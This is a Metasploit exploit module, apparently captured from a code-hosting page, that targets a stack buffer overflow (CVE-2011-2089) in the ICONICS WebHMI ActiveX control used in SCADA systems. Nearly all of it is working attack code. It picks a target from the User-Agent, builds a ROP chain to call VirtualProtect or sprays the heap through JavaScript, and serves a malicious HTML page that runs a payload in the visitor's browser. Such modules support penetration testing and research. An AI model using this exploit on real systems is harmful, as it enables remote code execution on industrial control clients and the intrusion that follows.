Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info={})11super(update_info(info,12'Name' => "ICONICS WebHMI ActiveX Buffer Overflow",13'Description' => %q{14This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.15By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll16fails to do any proper bounds checking before this input is copied onto the stack,17which causes a buffer overflow, and results arbitrary code execution under the context18of the user.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Scoot Bell <scott.bell[at]security-assessment.com>',24'Blair Strang <blair.strang[at]security-assessment.com>',25'sinn3r', #Metasploit port26],27'References' =>28[29['CVE', '2011-2089'],30['OSVDB', '72135'],31['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],32['EDB', '17240'],33['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']34],35'Payload' =>36{37'BadChars' => "\x00",38'StackAdjustment' => -3500,39},40'DefaultOptions' =>41{42'EXITFUNC' => "seh",43'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',44},45'Platform' => 'win',46'Targets' =>47[48[49'Automatic', {}50],51[52'IE 6/7/8 on Windows XP SP3',53{54'Offset' => 510, #Offset to where ROP gadgets begin55'Ret' => 0x770167b0, #PUSH ESP; POP EBP; RETN 856'Max' => 4500, #Max buffer size used57},58],59[60'IE 7 on Windows Vista',61{62'Ret' => 0x0c0c0c0c, #Target spray63'blockSize' => "0x1000",64'spraySize' => "0x8500",65'Max' => 4500,66},67],68],69'Privileged' => false,70'DisclosureDate' => '2011-05-05',71'DefaultTarget' => 0))72end7374def junk75return rand_text(4).unpack("L")[0].to_i76end7778def repeat(addr, rep)79arr = []80rep.times { arr << addr }81return arr82end8384def on_request_uri(cli, request)8586my_target = ''87agent = request.headers['User-Agent']8889if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/90my_target = targets[2]91elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/92my_target = targets[2]93elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/94my_target = targets[1]95else96send_not_found(cli)97print_error("Unknown User-Agent")98return99end100101js = ''102sploit = ''103104if my_target['spraySize'] == nil105106#ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific107#to the service pack (non or fully patched)108109rop_gadgets = [110my_target.ret,111junk,1120x7e45c67f, #XCHG EAX,EBP; RETN (USER32.dll)113repeat(junk, 2),1140x7e440639, #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll1150x7c801ad4, #Kernel32.VirtualProtect116junk, #Initial ESP + 8 p1 = retaddr117junk, #p2 - lpaddr118junk, #p3 - size119junk, #p4 - perms120junk, #p5 - oldperms121junk,122#Return address1230x7e4462ed, #XCHG EAX,ECX; RETN (USER32.dll)1240x7c902b50, #MOV EDX, ECX; RETN (ntdll.dll)125repeat(0x77aa2d96, 20), #INC ECX * 21 (CRYPT32.dll)1260x7c901726, #MOV EAX, EDX; RETN (ntdll.dll)127repeat(0x5b86a17b, 2), #ADD EAX,7B; RETN * 2 (NETAPI32.dll)128repeat(0x77c34fbd, 2), #ADD EAX,5C; RETN * 2 (msvcrt.dll)1290x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)130#Shellcode pointer131repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)1320x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)133#Size (0x400 bytes)134repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)1350x7e721a99, #POP EAX; RETN (SXS.dll)1360x3BFFF9CB, #Value to XOR1370x7e7560b5, #XOR EAX,3bfffdcb (SXS.dll)1380x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)139#NewProtect140repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)1410x7E456160, #XOR EAX,EAX; RETN (USER32.dll)1420x7E4193BA, #ADD AL,3B (USER32.dll)143repeat(0x7E442074, 5), #INC EAX; RETN (USER32.dll)1440x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)145#OldProtect146repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)1470x7e721a99, #POP EAX (SXS.dll)1480x10010570, #EAX (Wriable memory)1490x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)150#Call VirtualProtect151repeat(0x7E421AAF, 20), #DEC ECX; RETN (USER32.dll)1520x7E4462ED, #XCHG EAX,ECX; RETN (USER32.dll)1530x7E45F257, #XCHG EAX,ESP; RETN (USER32.dll)154repeat(junk, 2), #Align shellcode155].flatten.pack('V*')156157sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))158sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))159sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))160sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))161sploit << rand_text_alpha(my_target['Max']-sploit.length)162163else164165#If we don't have to ROP, then we just spray against the rest of the targets166167shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))168target_ret = [my_target.ret].pack('V')169nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))170sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))171172js_func_name = rand_text_alpha(rand(6) + 3)173js_var_blocks_name = rand_text_alpha(rand(6) + 3)174js_var_shell_name = rand_text_alpha(rand(6) + 3)175js_var_nopsled_name = rand_text_alpha(rand(6) + 3)176js_var_index_name = rand_text_alpha(rand(6) + 3)177178js = <<-EOS179<script>180function #{js_func_name}() {181var #{js_var_blocks_name} = new Array();182var #{js_var_shell_name} = unescape("#{shellcode}");183var #{js_var_nopsled_name} = unescape("#{nops}");184while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };185for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {186#{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");187}188}189#{js_func_name}();190</script>191EOS192193end194195obj_id = rand_text_alpha(rand(6) + 3)196sploit_name = rand_text_alpha(rand(6) + 3)197198html = <<-EOS199<html>200<head>#{js}</head>201<body>202<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>203<script>204var #{sploit_name} = unescape("#{sploit}");205#{obj_id}.SetActiveXGUID(#{sploit_name});206</script>207</body>208</html>209EOS210211html = html.gsub(/^ {4}/, "")212213print_status("Sending malicious page")214send_response(cli, html, {'Content-Type'=>'text/html'})215216end217end218219220